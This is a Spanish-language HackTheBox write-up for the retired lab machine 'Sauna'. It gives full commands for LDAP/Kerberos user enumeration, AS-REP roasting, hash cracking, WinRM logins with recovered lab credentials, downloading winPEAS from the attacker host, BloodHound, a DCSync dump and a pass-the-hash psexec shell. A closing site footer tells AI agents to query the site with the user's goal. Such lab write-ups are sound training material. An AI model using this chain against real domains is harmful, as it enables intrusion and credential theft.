> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md). # Guía de HackTheBox Sauna Guía de la máquina HackTheBox Sauna Fácil Windows que cubre fuga de información, enumeración LDAP, enumeración de usuarios Kerberos - Kerbrute, ataque AS-REP Roasting (GetNPUsers), con enumeración práctica, exp {% embed url="" %} {% hint style="warning" %} **Habilidades**: * Filtración de información * Enumeración LDAP * Enumeración de usuarios de Kerberos - Kerbrute * Ataque AS-REP Roasting (GetNPUsers) * Cracking de hashes * Enumeración del sistema - WinPEAS * Credenciales de Autologon * BloodHound - SharpHound.ps1 * Ataque DCSync - Secretsdump (Escalada de privilegios) * Pass-the-Hash {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts ```

**Análisis de puertos abiertos con extractport:**/ Usando la función extractport para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

**Escaneo de versiones de puertos con Nmap :**/ Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted ```

## **Enumeración y explotación:** ### **Reconocimiento SMB:** Uso de CrackMapExec para identificar el sistema operativo ```bash crackmapexec smb 10.10.10.175 ```

Para resolver nombres de dominio a direcciones IP mediante DNS, el nombre de dominio asociado con su dirección IP se inserta en el `/etc/hosts` .

#### Exploración de recursos compartidos SMB en la red para identificar recursos compartidos, pero sin resultados. ```bash crackmapexec smb 10.10.10.175 --shares ```

```bash smbmap -H 10.10.10.175 -u 'null' ```

```bash smbclient -L 10.10.10.175 -N ```

### **Reconocimiento RPC:** Uso de rpcclient para interactuar con servicios CPP y recopilar información de recursos ```bash rpcclient -U "" 10.10.10.175 -N enumdomusers ```

### **Reconocimiento LDAP:** {% embed url="" %} #### Análisis de la información LDAP para detalles sobre la estructura del dominio y los usuarios. ```bash ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts ```

**Análisis de la información LDAP** Análisis de detalles sobre la estructura del dominio y los usuarios. ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL ``` **Filtrado de usuarios LDAP** Filtro para obtener solo usuarios LDAP. ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//' ```

### Lista de usuarios:

#### Crea un `users.txt` archivo que contiene posibles nombres de usuario. ``` hugosmith h.smith hugo.smith hsmith fergussmith f.smith fergus.smith fsmith hugobear h.bear hugo.bear hbear stevenkerb s.kerb steven.kerb skerb shauncoins s.coins shaun.coins scoins bowietaylor b.taylor bowie.taylor btaylor sophiedriver s.driver sophie.driver sdriver ``` ### **Lista de usuarios mediante Kerberos** Usando `kerbrute` para listar usuarios válidos. ```bash ./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt ```

### **Lista de usuarios mediante Impacket** Usando `impacket-GetNPUsers` para listar usuarios válidos sin contraseñas. ```bash impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt ```

### Ataque de fuerza bruta: Usando John para descifrar el hash recuperado.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

#### Conexión y control remoto Usando WinRM para conectarse de forma remota. ```bash crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ``` #### Funciona, pero sin la marca de pwned no es posible conectarse a través de WinRM.

En este ejemplo, la conexión es posible porque el usuario fsmith es miembro del grupo /\*Remote Management Users ```bash crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

#### **Inicio de sesión con Evil-WinRM** Usando Evil-WinRM para una conexión interactiva mediante WinRM. ```bash evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

## Escalada de privilegios: #### **Comprobación de privilegios especiales:** Usando `whoami /priv` para comprobar privilegios especiales.

#### **Buscar nuevos usuarios** Usando `net user` para buscar nuevos usuarios.

**Búsqueda de credenciales para el usuario "svc/ loanmgr"** ### **Reconocimiento con** winPEAS.exe {% embed url="" %} Descargar y ejecutar la herramienta de reconocimiento winPEAS ```bash Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe" ./winPEAS.exe ```

### Validación de credenciales encontradas con crackmapexec: Credenciales de inicio de sesión automáticas para el usuario `svc_loanmgr` han sido encontradas, con la contraseña

#### Usando crackmapexec para validar que la contraseña es correcta. ```bash crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

### Conexión con credenciales de "svc/ loanmgr": ```bash evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

## Listado del dominio con Bloodhound:

Instalación de BloodHound:

```bash apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` #### Conexión a Bloodhound con credenciales neo4j:neo4j.

#### Iniciando BloodHound. ```bash bloodhound &> /dev/null & disown ```

### Recopilar información con SharpHound.ps1 {% embed url="" %}

### Transferencia de los datos recopilados a Linux e importación en Bloodhound #### Crear un archivo .zip con los resultados de la recopilación. ```bash Import-Module ./sharhound.ps1 Invoke-BloodHound -CollectionMethod All ``` #### Descargar el archivo zip desde la máquina Windows a Linux. ```powershell download PS C:/windows/temp/privesc/file.zip file.zip ``` #### Importar el archivo zip a Bloodhound.

### Análisis y operación: #### Filtrar la ruta más corta hacia la administración

#### La herramienta indica la posibilidad de realizar un ataque DCSync.

## Vulnerabilidad: ataque DCSync: {% embed url="" %} #### Usando secretsdump para obtener el hash NT del usuario administrador. ```bash impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175 ```

#### Usando psexec para ejecutar cmd como administrador usando el hash NT. ```bash impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e ```

### Bandera final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.